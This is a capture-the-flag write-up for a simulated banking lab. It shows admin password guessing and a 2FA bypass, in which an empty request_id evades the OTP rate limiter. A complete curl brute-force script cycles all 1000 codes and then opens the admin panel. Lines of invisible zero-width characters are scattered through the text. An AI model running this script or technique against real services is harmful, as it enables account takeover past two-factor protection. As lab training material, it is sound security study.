Lab 301 — VaultLine — 2FA Bypass via Rate Limit Evasion

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: empty_parameter_bypass, otp_bruteforce, parameter_manipulation, rate_limit_evasion, session_state_abuse

Summary

Task: banking platform with 2FA using 3-digit OTP, rate limiter tracks attempts by request_id parameter. Solution: send empty request_id to bypass rate limiting while session maintains valid 2FA state, brute-force all 1000 OTP combinations.

Lab 301 — VaultLine — 2FA Bypass via Rate Limit Evasion — Hackadvisor

Description

VaultLine is a digital banking platform offering account management, fund transfers, and transaction history. The platform enforces two-factor authentication for all user accounts. You have been given access to test the security of VaultLine's authentication system. Every login requires both a password and a 3-digit OTP verification code. An admin account is known to exist — can you find a way to access it despite the 2FA protection? Your goal is to bypass the two-factor authentication and gain access to the admin panel where sensitive system configuration is stored.

Given credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A banking platform with mandatory 2FA via 3-digit OTP. The goal is to bypass 2FA protection on the admin account and access the admin panel to retrieve the flag.

Analysis

1. Reconnaissance:

   • Explored the /team page
   • Discovered admin email: admin@vaultline.io (Marcus Chen, CEO)

2. Password Discovery:

   • Tested common passwords against admin account
   • Found working password: admin123

3. 2FA Flow Analysis:

   • After successful login, the API returns:

    json read-only • copy allowed Copy
   {
     "requires_2fa": true,
     "request_id": "e18ddda7-d38b-4d38-8f47-1b21ef3e734e",
     "message": "Please enter your verification code. A 3-digit code has been sent to your registered device."
   }

   • The 2FA verification endpoint POST /api/2fa/verify accepts otp and request_id parameters ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Rate Limit Bypass Discovery:

   • The rate limiter tracks attempts by request_id parameter
   • Sending requests with an empty request_id ("") bypasses rate limiting
   • The session's pending 2FA verification remains valid regardless of the request_id value

5. Key Vulnerability:

   • The 2FA rate limiter only tracked attempts using the request_id parameter
   • When request_id was empty/missing, the rate limiting mechanism failed to track attempts
   • Server-side session still had a valid pending 2FA verification
   • This allowed unlimited brute-force attempts on the weak 3-digit OTP (only 1000 combinations) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
URL="https://6995d582-3d7f-43a2-a95f-8844b238ed78.labs.hackadvisor.io"

# Step 1: Login as admin and save session
curl -c cookies.txt -X POST "$URL/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@vaultline.io","password":"admin123"}'

# Step 2: Brute force OTP with empty request_id to bypass rate limiting
for i in $(seq 0 999); do
  otp=$(printf "%03d" $i)
  result=$(curl -s -b cookies.txt -X POST "$URL/api/2fa/verify" \
    -H "Content-Type: application/json" \
    -d "{\"otp\":\"$otp\",\"request_id\":\"\"}")
  if echo "$result" | grep -q "redirect"; then
    echo "SUCCESS! OTP: $otp"
    break
  fi
done
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Access admin panel
curl -b cookies.txt "$URL/admin/settings"

Result: Found correct OTP: 482. Accessed /admin/settings page and found flag in the system configuration table under "system_secret_key". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍